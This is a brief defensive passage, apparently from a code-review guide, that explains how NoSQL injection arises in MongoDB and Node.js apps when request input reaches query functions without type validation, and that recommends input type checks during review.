NoSQL injection is a critical vulnerability class that continues to affect modern web applications, particularly those built on the MongoDB + Node.js stack. The misconception that NoSQL databases are immune to injection attacks has led to widespread vulnerabilities in production systems.
During code review, focus on the data flow from user input (req.body, req.query, req.params) to database query functions (find, findOne, updateOne, deleteMany, aggregate). Any path where a JSON object from the request can reach a MongoDB query without type validation is a potential NoSQL injection vulnerability. Practice identifying these patterns, and make input type validation a standard part of every code review checklist.